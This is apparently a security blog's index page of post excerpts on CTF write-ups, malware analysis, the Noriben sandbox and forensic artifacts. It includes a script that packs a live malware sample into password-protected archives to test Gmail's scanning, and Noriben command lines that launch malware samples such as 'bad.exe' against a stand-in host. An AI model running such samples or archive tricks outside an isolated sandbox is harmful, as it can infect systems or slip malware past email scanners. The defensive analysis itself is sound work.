11 March 2024

Huntress CTF 2023 - Unique Approaches to Fun Challenges

As someone who has participated in numerous Capture The Flag (CTF) competitions, I was excited when Huntress Lab announced their CTF late last year. Anytime a new organization ventures into hosting CTFs, it brings fresh perspectives, twists, and innovative approaches to data manipulation to obtain flags.

I found their daily-released challenges to be particularly engaging. To rank high, participants had to swiftly complete all challenges. While other CTFs focus on different aspects, like Flare-On which emphasizes malware reverse engineering, Huntress Lab's CTF encompassed a wide range of Digital Forensics and Incident Response (DFIR) tasks. This included dealing with malware, forensic analysis, log examination, OSINT (Open Source Intelligence), recent emerging threats, and manipulation of live systems.

Many challenges involved datasets that are seldom addressed in other competitions. There were fewer challenges centered around random cryptography, key generation, or website attacks, and more focused on parsing large, unknown data structures and analyzing the results.

12 November 2022

Flare-On 9 - The Worst Writeups

Since its inaugural year I have been a participant in the FireEye / Mandiant Flare-On challenges produced by FLARE, the FireEye Labs Advanced Reverse Engineering. FLARE is one of the industry's most accomplished team of reverse engineers and they have created an annual CTF/ that focuses on reverse engineering challenges, many of which are rooted in real life attacks and incident responses.

I have blogged about FLARE challenges in the past and many readers have noticed that my write-ups tend to steer towards the unexpected solutions. The fun, unconventional, and sometimes offensive solutions to the reader. After all, this is a time to have fun and play with challenges that I do not see on a regular basis. Much of my this originates from my prior experience in a reverse engineering team that focused on intrusions from nation state attacks. Our metrics were on how quick we can provide answers, not how in depth or concise we could be. So my immediate goal is on speed, identifying short cuts, and exploiting every advantage I can find. And then putting the proper methodology into tech debt.

And so, with the completion of Flare-On 9 (2022 edition) I have highlighted my own horrible solutions to a few of the challenges. 

12 March 2018

Enforcing the Law at the Mid Atlantic Collegiate Cyber Defense Competition (MACCDC)

The MidAtlantic Collegiate Cyber Defense Competition (MACCDC) is one of the many regional CCDCs that includes a somewhat unique aspect: law enforcement and investigations. For those unfamiliar with CCDC's, they are live network security competitions where schools face off against each other, and a red cell of pentesters, to build and maintain a secure network. While fending off attacks the teams are responsible for creating new servers and services while performing business operations, such as running database queries for a business need. If the respective database is misconfigured, or hijacked by Red Team, then the query cannot be performed and teams suffer major score losses.

There are multiple regional CCDC competitions across the entire country as well as the National CCDC where the winners of each regional competition join to face off against each other. While each regional follows the same structure of competition, each can make slight adjustments to how they determine a winner. A law enforcement (LE) component was built into MACCDC years ago as a method to help expose competitors to the unique and frustrating challenges of fully documenting attacks.

In many competitions, schools practice on being extremely responsive to attacks and, in many cases, aggressive in their responses to remove an adversary as quickly as possible. While that effort is commendable, it does not translate into the actions taken by a real-world security team. In the event of a compromise, theft of data, or denial of service attack, corporate senior leadership will not be content with a message of "We were attacked, it's been fixed."


26 July 2017

Exploring the Labyrenth (2017 Edition)

2017 brings us one of the best, though newest, CTFs: Palo Alto's LabyREnth.The 2016 iteration was a grueling set of 3 dozen challenges across multiple topics that tested one's ability, skill, patience, and endurance.

2017's challenge one-upped the previous by having a fully explorable, rogue-style text world in which one could explore to find challenges. Not to the level of ROM MUD or ZZT, two of my largest time sinks when I was young, but to a fun level where one could explore, see the sights, and have a humourous romp through a landscape influenced from David Bowie's film masterpiece, Labyrinth.




There are certain sections that are locked off by challenges; progression is only possible through successful completion of challenges. I was happy to get a pretty large chunk mapped out, though:


Each successful challenge also granted additional equipment to assist in combating the final boss. In a virtual sense; you can't fight him until you beat all other challenges anyhow. But, it was fun to track the equipment being given:



With that, on to the challenges. There were six categories of challenges again this year: Binary, Docs, Threat, Programming, and Mobile. There was also the Random category where challenges were sprinkled around the world and hidden behind riddles (highlighted in orange in the map above).

My goal for the year was to complete one entire track (Binary) and to get at least one challenge in each other category. Their system made some great changes over the previous year on tracking stats for challenges completed for each user, which provided good feedback on how you were completing tasks, pointing out when it was taking you too long (such as the spike below while I was on the road for 9 days).



Mobile 2 - MIPS


Hint: RouterLocker is free encryption software for securing your router. Thank you, in advance, for purchasing RouterLocker.
Author(s): int0x80

I had some upfront warning that this challenge was coming from int 0x80 and I made sure that I got to it during competition. MIPS is completely unknown to me, let alone how to analyze, debug, or even make it work. And I had less than two days open on my schedule to get it done. This was going to be an uphill climb.

routerlocker: ELF 32-bit MSB executable, MIPS, MIPS64 version 1, dynamically linked (uses shared libs), for GNU/Linux 2.6.26, with unknown capability 0x41000000 = 0xf676e75, with unknown capability 0x10000 = 0x70401, not stripped

This challenge began with static analysis using IDA Pro, and opening every manual I could find on MIPS programming to understand what I'd be looking at.

16 August 2016

Running the Labyrenth: Unit 42 CTF

At least once a year I try to publish my work process for a Capture The Flag (CTF) event. If you're not familiar with CTFs, they're a timed challenge of very difficult or obscure challenges to gain a "flag" to submit for points. Some enjoy these, some feel them a waste of time. At the very least, they're exercises to keep your mind sharp and your skills prepared for the unexpected.

This year, Palo Alto Networks (notably their threat research team Unit 42), put together a great CTF that was open to the public for one month. Uniquely, they offered sizable cash prizes to the first person to win each category of challenges and to the top winners overall.

Categories of challenges were separated between: Windows, Unix, Documents, Mobile, Random, and Threat. While some of these are apparent, and Random was a cool assortment of off-the-wall stuff, Threat was unique for being very abstract problems of pattern analysis and writing YARA rules. Overall, nearly 40 challenges that were woven through the narrative of the excellent film starring David Bowie: Labyrinth.

While a small number were able to complete each and every one of these challenges, I was excited to just do a handful, about 32. What I'll provide here are just a few of those where I feel like I did something unique or profoundly stupid to obtain the answer.


02 May 2016

GrrCon 2015 - Memory Forensics - Grabbing all the Flags...

Today we bring you a special guest posting by Tony "@captcook32" Cook. Late last year GrrCon hosted their anticipatory excellent set of challenges which included an in depth memory forensics challenge by Wyatt Roersma. Tony and myself took a few days on a down week to try our hand at the challenge. I lacked the answers to two questions while Tony knocked them all out quickly.

While the scoreboard was reset to before our scores were posted, I'd like to present Tony's write-up on the challenge. The challenge files are still available for download, so feel free to try the challenge on your own and return for hints. Next to each question is the file required to answer it and the password needed to open the archive.

And so follows Tony Cook:





In October 2015 Google put on the GrrCon 2015 CTF challenge which was open to all who wanted to attempt the challenge. My colleague "The Brian Baskin" @bbaskin let me know it was going on & I wanted to test out my memory forensics skills so I gave it a shot. This was one of the most fun & valuable CTFs that I've ever done. I want to give a huge shout out the the Volatility team for their awesome product & for the GrrCon 2015 CTF team for having a semi real world challenge that made you think outside of the box. The following blog post is my walkthrough of how I got through the challenge. There are most likely far better ways to go about doing most of these & I don't claim to be a memory forensic expert but I hope this helps out anyone who got stuck on any of the questions &/or anyone looking for an explanation. 

Question #1


We start out with a question letting us know that user opened a "strange" email that appeared to be a security update, kudos to the CTF creators because who hasn't seen that happen... All we need to provide is the sender's email address. As with all of these questions there are about a million different approaches that we could take to find the answer, however, the way my lazy mind works I wanted to start by finding all the email addresses within the memory dump, then use that list to grep through the memory dump for these email addresses to hope for an email that would resemble the user's . So to start with I utilized Garfunkel amazing tool, the Bulk Extractor. Among several other options this tool can provide you with a histogram of email addresses which will provide us a starting point to start looking through the memory dump.


16 March 2016

Of Malware and Adware: Why Forbes Did Not Serve Me Malware

The topic of web-based advertising is always a hot topic for discussion, debate, and outright argument. One realizes that the Internet in which we've grown accustomed to is reliant on ads; after all, Google is an advertisement company.

In the recent past we've seen articles on malvertising targeted using Skype and more recently using the New York Times and BBC. Soon after, comparisons were made between these attacks and an incident I noted in January regarding Forbes.com. Those comparisons are ongoing, motivating me to write this post.

While Forbes did experience a malvertising event last year, these attacks are nowhere near the same as the event I posted in January. That people claim so shows a general lack of education, even among security practitioners, of malware vs adware vs PUP, and valid threats vs nuisances.

Forbes did not serve "malware" and cannot be compared to these incidents.

To explain this in detail, let's discuss how my event came to be.


18 January 2016

Creating a Malware Sandbox in Seconds with Noriben.

Happy New Years!

As part of the new year, let's make an effort to make your defensive posture better, especially through quicker and more effective malware analysis! A few years ago I created a sample malware analysis sandbox script to use for the analysis and reverse engineering that I performed on a daily basis. Let's show how you can perform analysis of malware within just a few seconds with almost no setup at all.

  1. Introduction
  2. Automating Sandboxing with VMware
  3. How you can help! Even with no technical background!
  4. Download Information

For those who are already familiar with Noriben, feel skip to the second section to see the new content.

[UPDATE: In the year since this was written, I've made a new Python-based frontend. You'll find it in the same repo as NoribenSandbox.py. It's a much better option for many.]

Introduction


If you've followed me on Twitter, or kept up with this blog, you would be familiar with Noriben. If not, it's a very simple script. In typical behavior analysis one would run malware within a sandbox to see exactly what files it creates, what processes it runs, and what changes it makes to the system. The most common way that many defense teams use is to upload the file to a central anti-virus testing site like VirtusTotal and to online sandboxes like Malwr and those using Cuckoo.

For teams who are leery of uploading their files to the Internet, which is especially inadvisable for APT-related investigations. As advanced actors monitor online sites to see if their files are uploaded, they can determine if their free reign within the environment comes to an end and an IR response has started.

Running malware locally is most commonly performed through Cuckoo, an awesome and open-source sandbox application designed for malware that produces very comprehensive results. However, there is is arguably considerable effort required to set up Cuckoo correctly, with multiple sites offering walkthroughs for various environments. While relatively easy to install on Linux, installing on Windows or OSX can be frustrating for many. And, in my case, I'm often on the road with a random laptop and need to make a sandbox very quickly.

If you take a malware analysis training course, you've also likely been exposed to the SysInternals Procmon tool to monitor a system's environment. For those with more vintage knowledge, you learned Regmon and Filemon. Others use Regshot, a tool that is inadequate for many malware as it doesn't track finite changes within runtime.

Noriben is a simple wrapper for Procmon to collects hundreds of thousands of events then uses a custom set of whitelisted system events to reduce this down to a few dozen for quick review. For more, take a look at the slide deck I put together for the 2015 Black Hat Arsenal:

14 September 2015

Solving the 2015 FLARE On Challenges

The second annual FLARE On is a reverse engineering challenge put forth by the FireEye Labs Advanced Reverse Engineering (FLARE). While accepted as a very advanced and tactical recruiting method, it resonates with those who love CTF challenges.

In 2014 the inaugural FLARE On presented seven challenges. As a finisher, you can read my write-up here. Each participant has a different take on the challenges. Each person has different methods, skills, and strengths. Mine are forged by years of forensics, log analysis, and working a mission where results are required regardless of ability, training, or excuses. At the end of this post I've linked to other write-ups that I've seen.

Let's begin by setting a level of expectation. You are reading a blog named GhettoForensics. The ultimate goal of Ghetto Forensics is to get by with whatever tools and knowledge you have to complete a mission. You will not find first-rate techniques and solutions here. In fact, when presented with multiple options, I often went out of my way to choose to worst, most cringe-worthy option available. For the lulz, and to show that you don't need advanced reverse engineering training and experience to survive the industry. I hope you enjoy.

For simplicity sake, unless necessary all IDA output will be as decompiled.

Without further ado.
Flare-On!


Challenge #1


Let's roll up our sleeves and ... oh, nevermind, there's the routine.
.


The routine takes a given email address through ReadFile(), XOR's it by 0x7D, and compares it to an embedded value. So, just find that value in the executable with WinHex (one of my favorite tools) and XOR it there to get the answer. WinHex lets you just highlight text and do basic on-the-fly modification (rotate, addition, subtraction, XOR, etc).


bunny_sl0pe@flare-on.com





11 November 2014

DJ Forensics: Analysis of Sound Mixer Artifacts

In many forensics examinations, including those of civil and criminal nature, there is an art to finding remnants of previously installed applications. Fearing detection, or assuming that an examination is forthcoming, many suspects attempt to remove unauthorized or suspicious applications from a system. Such attempts are usually unsuccessful and result only in additional hours of processing for forensics. But even with a clean uninstall there are traces left within the Windows registry that note such a program was installed.

The most popular of these is the Windows Shim Cache (a/k/a Application Compatibility Database, a/k/a AppCompatCache), a resource that can be used to catalog applications not natively compiled for newer Windows. It's also a resource that works great for finding APT-related malware running on a system, but not so much legitimate applications.

For a few months I've been playing with another repository of applications: the Windows Sound Mixer. Whenever an application requests the use of the Windows audio drivers, Windows will automatically register this application in the registry. This information is stored so that Windows can create per-application sound settings:



This was a resource I dismissed for a year. It existed only in Windows Vista and newer, it didn't catch any of the malware I threw at it, and wasn't relevant to any of the Incident Response work I do**. Its importance came to me when working some cases that came mixed in with many of my intrusion cases where I had to examine the systems owned by various hackers. One in particular involved tracking the use of alternative web browsers and discovering that the Sound Mixer had catalogued the use, and location, of Tor Browser launched from a TrueCrypt volume. Clear as day, the path even noted that it was a TrueCrypt volume based upon the Windows device name:

\Device\TrueCryptVolumeP\Tor\App\Firefox\firefox.exe

I learned that the registry keys were useful for such cases, but there has been no prior public discussion of the forensic use of this data.


22 September 2014

A Walkthrough for FLARE RE Challenges



The FireEye Labs Advanced Reverse Engineering (FLARE) challenge was causing a bit of a buzz when it was announced and launched in early July. It read like a recruitment campaign for a new division within FireEye, but still a fun challenge to partake in. The challenge started ... and I was on-site at a client site for the week and forgot all about it. 

Busy under the pressure of releasing the new Dissecting the Hack book, the challenge went to the back of my mind until the 24th of July. I was facing a pretty hard-hitting bit of writer's block and frustration. I agreed to let myself have a break to do the challenge for one week before getting back to my commitments.

After the challenge finished, and answers and methods started floating around (notably CodeAndSec's), I realized that many of my tactics were completely different from others. I'm sure that's to be expected from this field; many of my methods were from working in an environment without Internet access and without an expert on-call for answers. I'm also fully from a forensics background (hex editors and data structures and file parsers, etc), and work in commercial incident response with RSA, so I'd be sure to tackle problems different from someone who had a pentesting or vuln discovery background.

Although the challenge started in early July, it ran up until 15 September. There was an unspoken moratorium on answers/solutions while the challenge ran, but now that the samples are all freely available from their website, some are coming forth with how they completed them.

This is my story.


Challenge 1


The first challenge started out with downloading an executable from the flare-on.com website. I immediately threw it into IDA and started poking around, only to discover that it was just a dropper for the real challenge :)  I let it do its thing, agreed to a EULA without reading it, and received the first challenge file:


File Name       : Challenge1.exe
File Size       : 120,832 bytes
MD5             : 66692c39aab3f8e7979b43f2a31c104f
SHA1            : 5f7d1552383dc9de18758aa29c6b7e21ca172634
Fuzzy           : 3072:vaL7nzo5UC2ShGACS3XzXl/ZPYHLy7argeZX:uUUC2SHjpurG
Import Hash     : f34d5f2d4577ed6d9ceec516c1f5a744
Compiled Time   : Wed Jul 02 19:01:33 2014 UTC
PE Sections (3) : Name       Size       MD5
                  .text      118,272    e4c64d5b55603ecef3562099317cad76
                  .rsrc      1,536      6adbd3818087d9be58766dccc3f5f2bd
                  .reloc     512        34db3eafce34815286f13c2ea0e2da70
Magic           : PE32 executable for MS Windows (GUI) Intel 80386 32-bit Mono/.Net assembly
.NET Version    : 2.0.0.0
SignSrch        : offset   num  description [bits.endian.size]
                  0040df85 2875 libavcodec ff_mjpeg_val_ac_luminance [..162]
                  0040e05d 2876 libavcodec ff_mjpeg_val_ac_chrominance [..162]

Based on this output from the file, I can see first of all that it was built from .NET 2.0 (based on the mscorlib import). That'll be important later to determine what tool to analyze the file in; IDA Pro is not the most conducive tool for .NET applications.

At this point, let's run it and see what happens:



The image shows some happy little trees and a great, big "DECODE" button. Clicking this button changes the image thusly:



Without any clue of what to do with the challenge, or what I'm actually looking for, I open it up for analysis with Red Gate .NET Reflector.

17 February 2014

Malware with No Strings Attached Part 2 - Static Analysis

In the previous post I showed some dynamic analysis procedures for a variant of a trojan known to Symantec as Coreflood. Based on the dynamic analysis, we discovered that the analyzed sample contained very few strings of use. It decrypted an embedded executable, which was injected into memory for execution. It dropped an encrypted file to the hard drive, then downloaded a second-stage executable from the Internet. This downloaded file was then encrypted in what appeared to be a similar routine as the dropped file.

However, in the end, we still had many questions that couldn't be answered:

  • What is the encryption routine used for thr1.chm and mmc109.exe?
  • Why does the malware rename mmc109.exe to mmc61753109.exe?
  • Why does the malware first make a network connection to Adobe.com? What does that POST value mean?
  • Why does the initial loader contain so few strings?
These questions are best answered through static analysis. However, static analysis can be an extremely time-consuming activity. A full "deep dive" static analysis could take days, or even weeks, to fully document all functionality within a malware sample. Instead, this post will go through the process of a targeted static analysis. With the questions laid out here, we'll focus our static analysis solely on answering those questions, which will mean leaving many aspects of the malware undocumented.

Therefore, we need to focus on what questions can be answered within an hour or two of static analysis.

These questions mirror some of those performing Incident Response work. During incident response work a malware analyst works in conjunction with forensics and the responders to help answer the really difficult questions on why certain indicators are seen, what they mean, and what other indicators should be searched for that may have been missed.

This also answers the concerns of inaccurate preconceptions from those outside the field. When I tell a client that a sample has encoded data and will take a bit longer, I immediately get push back on the expectation that a simple routine may add 40+ hours of billable time. Likewise, if I say that a sample has a custom encryption routine, I'd often get pinged every hour on why it's not decoded yet. 

This post will show some of my personal workflow and mentality when trying to analyze malware, while trying to extract indicators to assist in an overall forensics examination or incident response. As I'm new to much in the RE world, having only learned through self-training and on-the-job work, I'd love any feedback for ways in which to speed up or better hone topics that I covered here.

15 February 2014

Malware with No Strings Attached Part 1 - Dynamic Analysis

I had the honor of lecturing for Champlain College's graduate level Malware Analysis course this week. One of the aspects of the lecture was showing off dynamic analysis with my Noriben script and some of the indicators I would look for when running malware.

While every malware site under the sun can tell you how to do malware dynamic analysis, I wanted to write a post on how I, personally, perform dynamic analysis. Some of the things I look for, some things I've learned to ignore, and how to go a little bit above and beyond to answer unusual questions. And, if the questions can't be answered, how to obtain good clues that could help you or another analyst understand the data down the road.

Additionally. I've been meaning to write up a malware analysis post for awhile, but haven't really found any malware that's been really interesting enough. Most were overly complex, many overly simple, and most just too boring to write on. Going back through prior incidents, I remembered a large scale response we worked involving a CoreFlood compromise. While this post won't be on the same malware, it's from a similar variant:

MD5: 4f45df18209b840a2cf4de91501847d1
SSDEEP: 768:ofATWbDPImK/fJQTR5WSgRlo5naTKczgYtWc5bCQHg:uk6chnWESgRKcnWc5uF
Size: 48640 bytes

Note: I cannot host the file here, but it can be obtained through VirusTotal (for those with privileges) or directly from Malwr with a free registered account.

This is not a ground-breaking malware sample. The techniques here are not new. I want to simply show a typical workflow of analyzing malware and overcoming the challenges that appear in doing so.

There are multiple levels of complexity to this sample, too much for a single post, including ways in which it encrypts embedded data and strings. Therefore, this post will focus on the dynamic artifacts of running the malware and examining the files left behind. On the next post, we'll use IDA Pro to dig deeper into reversing the logic used by the malware.


14 February 2014

Is Google Scanning Malware Email Attachments Between Researchers

Disclaimer: This post is based upon experiences I found when sending malware via GMail (Google Mail). I'm documenting them here for others to: disprove, debate, confirm, or to downplay its importance.

Update:

In the comments below, a member of Google's AntiVirus Infrastructure team provided insight into this issue. A third-party AV engine used by GMail was designed by the third-party to automatically open ZIP files with a password of 'infected'. I want to thank Google for their attention to the matter as it shows that there was no ill-intent or deliberate scanning.


As a professional malware analyst and a security researcher, a sizable portion of my work is spent collaborating with other researchers over attack trends and tactics. If I hit a hurdle in my analysis, it's common to just send the binary sample to another researcher with an offset location and say "What does this mean to you?"

That was the case on Valentine's Day, 14 Feb 2014. While working on a malware static analysis blog post, to accompany my dynamic analysis blog post on the same sample, I reached out to a colleague to see if he had any advice on an easy way to write an IDAPython script (for IDA Pro) to decrypt a set of encrypted strings.

There is a simple, yet standard, practice for doing this type of exchange. Compress the malware sample within a ZIP file and give it a password of 'infected'. We know we're sending malware samples, but need to do it in a way that:

          a. an ordinary person cannot obtain the file and accidentally run it;
          b. an automated antivirus system cannot detect the malware and prevent it from being sent.

However, on that fateful day, the process stopped. Upon compressing a malware sample, password protecting it, and attaching it to an email I was stopped. GMail registered a Virus Alert on the attachment.

Stunned, I try again to see the same results. My first thought was that I forgot to password-protect the file. I erased the ZIP, recreated it, and received the same results. I tried with a different password - same results. I used a 24-character password... still flagged as malicious.

The instant implications of this initial test were staggering; was Google password cracking each and every ZIP file it received, and had the capability to do 24-character passwords?! No, but close.

Google already opens any standard ZIP file that is attached to emails. The ZIP contents are extracted and scanned for malware, which will prevent its attachment. This is why we password protect them. However, Google is now attempting to guess the password to ZIP files, using the password of 'infected'. If it succeeds, it extracts the contents and scans them for malware.

Google is attempting to unzip password-protected archives by guessing at the passwords. To what extent? We don't know. But we can try to find out.

I obtained the list of the 25 most common passwords and integrated them (with 'infected') into a simple Python script below:


import subprocess
pws = ["123456","password","12345678","qwerty","abc123","123456789","111111","1234567","iloveyou","adobe123","123123","sunshine","1234567890","letmein","photoshop","1234","monkey","shadow","sunshine","12345","password1","princess","azerty","trustno1","000000","infected"]
for pw in pws:
    cmdline = "7z a -p%s %s.zip malware.livebin" % (pw, pw)
    subprocess.call(cmdline)

This script simply compressed a known malware sample (malware.livebin) into a ZIP of the same password name. I then repeated these steps to create respective 7zip archives.

I then created a new email and simply attached all of the files:


Of all the files created, all password protected, and each containing the exact same malware, only the ZIP file with a password of 'infected' was scanned. This suggests that Google likely isn't using a sizable word list, but it's known that they are targeting the password of 'infected'.

To compensate, researchers should now move to a new password scheme, or the use of 7zip archives instead of ZIP.

Further testing was performed to determine why subsequent files were flagged as malicious, even with a complex password. As soon as Google detects a malicious attachment, it will flag that attachment File Name and prevent your account from attaching any file with the same name for what appears to be five minutes. Therefore, even if I recreated infected.zip with a 50-char password, it would still be flagged. Even if I created infected.zip as an ASCII text document full of spaces, it would still be flagged.

In my layman experience, this is a very scary grey area for active monitoring of malware. In the realm of spear phishing it is common to password protect an email attachment (DOC/PDF/ZIP/EXE) and provide the password in the body to bypass AV scanners. However, I've never seen any attack foolish enough to use a red flag word like "infected", which would scare any common computer user away (... unless someone made a new game called Infected? ... or a malicious leaked album set from Infected Mushroom?)

Regardless of the email contents, if they are sent from one consenting adult to another, in a password-protected container, there is an expectation of privacy between the two that is violated upon attempting to guess passwords en masse.

And why is such activity targeted towards the malware community, who uses this process to help build defenses against such attacks?

Notes:
  • Emails were sent from my Google Apps (GAFYD) account.
  • Tests were also made using non-descript filenames (e.g. a.txt).
  • Additional tests were made to alter the CRC32 hash within the ZIPs (appending random bytes to the end of each file), and any other metadata that could be targeted.
  • The password "infected" was not contained in the subject nor body during the process.

Updates:
There was earlier speculation that the samples may have been automatically sent to VirusTotal for scanning. As shown in the comments below, Bernardo Quintero from VirusTotal has denied that this is occurring. I've removed the content from this post to avoid any future confusion.

Others have come forth to say that they've seen this behavior for some time. However, I've been able to happily send around files until late last week. This suggests that the feature is not evenly deployed to all GMail users.

A member of Google's team replied below noting that this activity was due to a third-party antivirus engine used by Google.

The owner of VirusShare.com, inspired by this exchange, attempted to locate what engine this could be by uploading choice samples to VirusTotal. His uploads showed one commonality, NANO-Antivirus:


My own tests also showed positive hits from NANO-Antivirus.

At the very least, this shows how one minor, well-meaning feature in an obscure antivirus engine can cause waves of doubt and frustration to anyone who decides to use it without thorough testing.

03 January 2014

A GhettoForensics Look Back on 2013

This site, Ghetto Forensics, was started this year as the beginning of an effort to better document some of the side work that I do that I thought would be appealing, or humorous, to the overall industry. This content was originally posted to my personal web site, thebaskins.com, but really needed a site of its own.

My first public project this year was reversing, documenting, and writing a parser for Java IDX files, cached files that accompany any file downloaded via Java. It was a bit of a painful project, mainly due to the bad documentation provided by Oracle, not to mention the horrendous style in which they designed it. I immediately released the code to the public and have received great feedback for improvements, as well as quite a few examiners touting how much they used it in their examinations. Thank you!

However, my greatest project this year was the release of Noriben. I first designed Noriben as a simple script for me to use at home for really quick malware dynamic analysis. I lacked many of the tools and sandboxes that I use at my day job, and needed a quick triage tool for research. After a few months, I realized that many commercial groups were in the exact same situation as I was at home: a severe lack of funding to purchase software to help. So, I cleaned up the code, gave it a silly name, and released it into the world. I've received numerous feedback and suggestions from all over, all of which were incorporated into the code. While its usage is widely unknown, for practical reasons, I did learn of quite a few Defense organizations, as well as a handful of Fortune organizations that incorporated it into their workflow. Awesome!

Research-wise, I released a comparison of various Java disassembly and decompilation tools, having found the standard JD-GUI to be extremely lacking for modern Java malware. The positive side of this is introducing tools to security professionals that were previously unknown to them. The research itself changed the tools that I use on a regular basis and allowed me to create a better product, faster, for reversing Java applications.

For community projects, I wrote a small malware configuration dumper template for Volatility, based on some time-reducing work I've been practicing. Whenever I do a full reversal of malware, I now try to write a memory configuration dumper. That way, in a few months when they change the encryption routine, I can still retrieve the same configuration and getting the report out instantly, then go back and figure out the encryption.


11 October 2013

Dumping Malware Configuration Data from Memory with Volatility



When I first start delving in memory forensics, years ago, we relied upon controlled operating system crashes (to create memory crash dumps) or the old FireWire exploit with a special laptop. Later, software-based tools like regular dd, and win32dd, made the job much easier (and more entertaining as we watched the feuds between mdd and win32dd).

In the early days, our analysis was basically performed with a hex editor. By collecting volatile data from an infected system, we'd attempt to map memory locations manually to known processes, an extremely frustrating and error-prone procedure. Even with the advent of graphical tools such as HBGary Responder Pro, which comes with a hefty price tag, I've found most of my time spent viewing raw memory dumps in WinHex.

The industry has slowly changed as tools like Volatility have gained maturity and become more feature-rich. Volatility is a free and open-source memory analysis tool that takes the hard work out of mapping and correlating raw data to actual processes. At first I shunned Volatility for it's sheer amount of command line memorization, where each query required memorizing a specialized command line. Over the years, I've come to appreciate this aspect and the flexibility it provides to an examiner.

It's with Volatility that I focus the content for this blog post, to dump malware configurations from memory.

For those unfamiliar with the concept, it's rare to find static malware. That is, malware that has a plain-text URL in its .rdata section mixed in with other strings, and other data laid bare in plain sight. Modern malware tends to be more dynamic, allowing for configurations to be downloaded upon infection, or be strategically injected into the executable by its author. Crimeware malware (Carberp, Zeus) tend to favor the former, connecting to a hardcoded IP address or domain to download a detailed configuration profile (often in XML) that is used to determine how the malware is to operate. What domains does it beacon to, on which ports, and with what campaign IDs - these are the items we determine from malware configurations.

Other malware rely upon a known block of configuration data within the executable, sometimes found within .rdata or simply in the overlay (the data after the end of the actual executable). Sometimes this data is in plain text, often it's encoded or encrypted. A notable example of this is in Mandiant's APT1 report on TARSIP-MOON, where a block of encrypted data is stored in the overlay. The point of this implementation is that an author can compile their malware, and then add in the appropriate configuration data after the fact.

As a method to improving the timeliness of malware analysis, I've been advocating for greater research and implementation of configuration dumpers. By identifying where data is stored within the file, and by knowing its encryption routine, one could simply write a script to extract the data, decrypt it, and print it out. Without even running the malware we know its intended C2 communications and have immediate signatures that we can then implement into our network defenses.

While this data may appear as a simple structure in plaintext in a sample, often it's encoded or encrypted via a myriad of techniques. Often this may be a form of encryption that we, or our team, deemed as too difficult to decrypt in a reasonable time. This is pretty common, advanced encryption or compression can often take weeks to completely unravel and is often left for when there's downtime in operations.

What do we do, then? Easy, go for the memory.

We know that the malware has a decryption routine that intakes this data and produces decrypted output. By simply running the malware and analyzing its memory footprint, we will often find the decrypted results in plaintext, as it has already been decrypted and in use by the malware.

Why break the encryption when we can let the malware just decrypt it for us?

16 September 2013

Noriben version 1.4 released

It's been a few months since the last official release of Noriben. The interim time has been filled with a few ninja-edits of updated filters, and wondering what to put in next.

Noriben started out as a simple wrapper to Sysinternals procmon to automatically gather all of the runtime details for malware analysis within a VM. It then filters out all the unnecessary system details until what's left is a fairly concise view of what the malware did to the system while running. It is a great alternative to a dedicated sandbox environment. More details on Noriben can be found here.

Over the months I was ecstatic to hear of organizations using Noriben in various roles. Many had modified the script to use it as an automated sandbox to run alongside their commercial products, which was exactly one of my goals for the script. However, the current requirement of manual interaction was an issue and I saw many ugly hacks of how people bypassed it. The new version should take care of that issue.
This was originally a release for version 1.3, which I pushed up on Friday. However, I received quite a bit of feedback for other new features and so quickly I pushed up version 1.4.

In the new version 1.4, I've introduced a few new features:

  • A non-interactive mode that runs for a specified number of seconds on malware that is specified from the command line
  • The ability to generalize strings, using Windows environment variables
  • The ability to specify an output directory
Non-Interactive Mode
The non-interactive mode was needed for a long time, and I apologize it took some time to implement it, as it was a very easy addition. It can be set in one of two ways:
The beginning of the source has a new line:

timeout_seconds = 0

By setting this to a value other than zero, Noriben will automatically wait that number of seconds to monitor the file system. This can be hardcoded for automated implementations, such as in a sandbox environment.

This value can also be overridden with a command line option of --timeout (-t). When using this argument, Noriben will enable the timeout mode and use the specified number of seconds. This is useful if you have a particularly long runtime sample. Even if Noriben.py was modified to have a 120-second timeout, you can override this on the command line with a much greater value (3600 seconds, for example).

Noriben now also lets you note the malware from the command line, making it completely non-interactive:

Noriben.py --cmd "C:\malware\bad.exe www.badhost.com 80" --timeout 300

This command line will launch bad.exe, with a given command line, for a period of 5 minutes. At such time, Noriben will stop monitoring the malware, but it will continue to run.

Output Directory
An alternate output directory can be specified on the command line with --output. If this folder does not exist, it will be created. If Noriben is unable to create the directory, such as when it doesn't have access (e.g. C:\Windows\System32\), then it will give an error and quit.


String Generalization
One requested feature was to replace the file system paths with the Windows environment variables, to make them generic. Many people copy and paste their Noriben results which may show system-specific values, such as "C:\Documents and Settings\Bob\malware.exe". This string will be generalized to "%UserProfile%\malware.exe".

This feature is turned off by default, but can be enabled by changing a setting in the file:

generalize_paths = False

Or by setting --generalize on the command line.


All in all, these features could be summed up with:

Noriben.py --output C:\Logs\Malware --timeout 300 --generalize --cmd "C:\Malware\evil.exe"

Download Noriben

03 September 2013

Malware Analysis: The State of Java Reversing Tools

In the world of incident response and malware analysis, Java has always been a known constant. While many malware analysts are monitoring more complex malware applications in various languages, Java is still the language of love for drive-by attacks on common end-users. It is usually with certainty that any home user infection with malware such as Zeus, Citadel, Carberp, or ZeroAccess originated through a Java vulnerability and exploit. In typical crimeware (banking/financial theft malware) incidents, one group specializes on the backend malware (e.g. Zeus) while outsourcing the infection and entrenchment to a second group that creates exploit software like BlackHole, Neosploit, and Fiesta.

In many incident responses, I've seen analysts gloss over the Java infection vector as just an end-note. Once they see the final-stage malware on the system they write off the Java component as just a downloader without any real analysis. This creates issues for the times when the Java exploit only partially succeeds resulting in malicious Java JAR files on a system but no Trojan or malware.

Why did it fail? Was the system properly patched to prevent a full infection? Was there a permission setting that stopped the downloader in its tracks? These are the questions that typically force an analyst to begin analyzing Java malware.

I've discussed Java quite a bit on this blog in the past. My Java IDX cache file parser was made for the purpose of identifying files downloaded via Java, be them Windows executables or additional Java JAR files. In that same post I analyzed Java from a Fiesta exploit kit that installed a ZeroAccess trojan onto an analyzed system.

Though Java is not my forte, I've had to face it enough to find that there are many weaknesses and gaps in the tools used for analysis. What I found is that most analysts have been using the same, outdated tools in every case. If the tool fails, they just move on and don't finish their analysis. All the while, new applications are being released that are worthy of note. I felt it worthy to do an annual check-up of the state of analysis tools to display what is available and what weaknesses each holds. There have been similar efforts by others in the past, with the most recent I've found being one in 2010 on CoffeeBreaks, by Jerome.


20 August 2013

Mojibaked Malware: Reading Strings Like Tarot Cards

